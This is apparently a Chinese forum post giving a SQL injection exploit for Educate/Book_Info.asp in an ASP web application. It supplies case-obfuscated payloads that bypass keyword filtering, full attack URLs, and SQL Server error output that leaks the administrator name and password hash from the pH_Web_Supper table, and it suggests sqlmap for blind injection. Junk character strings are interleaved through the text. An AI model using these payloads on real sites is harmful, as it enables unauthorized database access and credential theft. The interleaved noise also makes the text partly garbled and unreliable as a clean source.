漏洞出现在Educate/Book_Info.asp
1 ]. U2 V5 P& Q2 a. x, z# I S5 b - r2 B" ]; Q! x) d; F7 m
此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
: A1 U% z8 M) a% a% H! e
, z+ w/ M# ]- c T/ j2 {exp:如下
9 \" v3 K$ w2 W6 X" p4 v' t查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
F% j! e' Y' Y7 B; I查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
$ P& w/ j |7 n6 `' t 5 Z6 U& ]' J j! b$ u% A
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)$ B: t) ? \- i4 V& j0 Q; | J* l
1 }- Q! E) q3 ?- P
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'2 ?4 b$ y# i7 B [
+ h, P% l+ A6 M. ]/ z# o6 ~将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。) `; Y+ o2 H$ K( m& ], P
7 Y" c7 s {/ |! Y/Educate/Book_Info.asp,行 8" c |8 D5 M) l( P
( S7 m4 q+ b# c& n7 a w1 M2 O, rhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
2 G8 x3 t, B$ Y( h
6 O8 {$ l1 P/ B) s4 DMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'* k1 O6 o$ L/ C$ \* t
7 n0 T3 S6 R7 L. K( D2 n将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
$ Q9 p T$ |4 J' C @- [ 9 \7 L9 B& n. ~! t5 S
/Educate/Book_Info.asp,行 89 o* d4 {& |; }7 i8 @
|